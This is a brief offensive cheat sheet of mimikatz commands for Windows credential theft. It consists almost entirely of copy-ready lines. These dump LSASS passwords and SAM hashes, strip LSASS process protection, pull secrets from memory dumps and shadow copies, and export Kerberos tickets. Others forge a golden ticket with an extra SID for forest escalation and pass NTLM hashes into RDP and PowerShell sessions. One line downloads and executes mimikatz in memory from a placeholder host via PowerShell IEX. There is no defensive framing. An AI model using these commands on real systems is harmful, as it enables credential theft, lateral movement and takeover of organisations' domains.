mimikatz

Darkiros cheat sheet commands:

mimikatz one liner

mimikatz.exe \"privilege::debug\" \"token::elevate\" \"sekurlsa::logonpasswords\" \"lsadump::sam\" \"exit\"

load mimikatz in memory

powershell -nop -c \"IEX(New-Object Net.WebClient).DownloadString('http://[ip]/mimikatz.ps1')\"

mimikatz disable ppl and dump password

mimikatz.exe \"privilege::debug\" \"!+\" \"!processprotect /process:lsass.exe /remove\" \"sekurlsa::logonpasswords\" \"exit\"

mimikatz extract credentials from dump

mimikatz.exe \"privilege::debug\" \"sekurlsa::minidump lsass.dmp\" \"sekurlsa::logonPasswords\" \"exit\"

mimikatz extract credentials from shadow copy (1)

mimikatz.exe \"lsadump::sam /system:\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM /security:\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SECURITY /sam:\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM\"

mimikatz extract credentials from shadow copy (2)

mimikatz.exe \"lsadump::secrets /system:\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM /security:\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SECURITY\"

mimikatz extract tickets

mimikatz.exe \"sekurlsa::tickets /export\" \"exit\"

mimikatz - forest extra SID

kerberos::golden /user:[user] /domain:[domain] /sid:[child_sid] /krbtgt:[krbtgt_ntlm] /sids:[parent_sid]-519 /ptt

mimikatz pth to RDP mstsc.exe

sekurlsa::pth /user:[user] /domain:<domain> /ntlm:<ntlm_hash> /run:\"mstsc.exe /restrictedadmin\"

mimikatz pth run powershell remotelly

sekurlsa::pth /user:[user] /domain:[domain] /ntlm:[ntlm_hash] /run:\"powershell.exe -exec bypass\"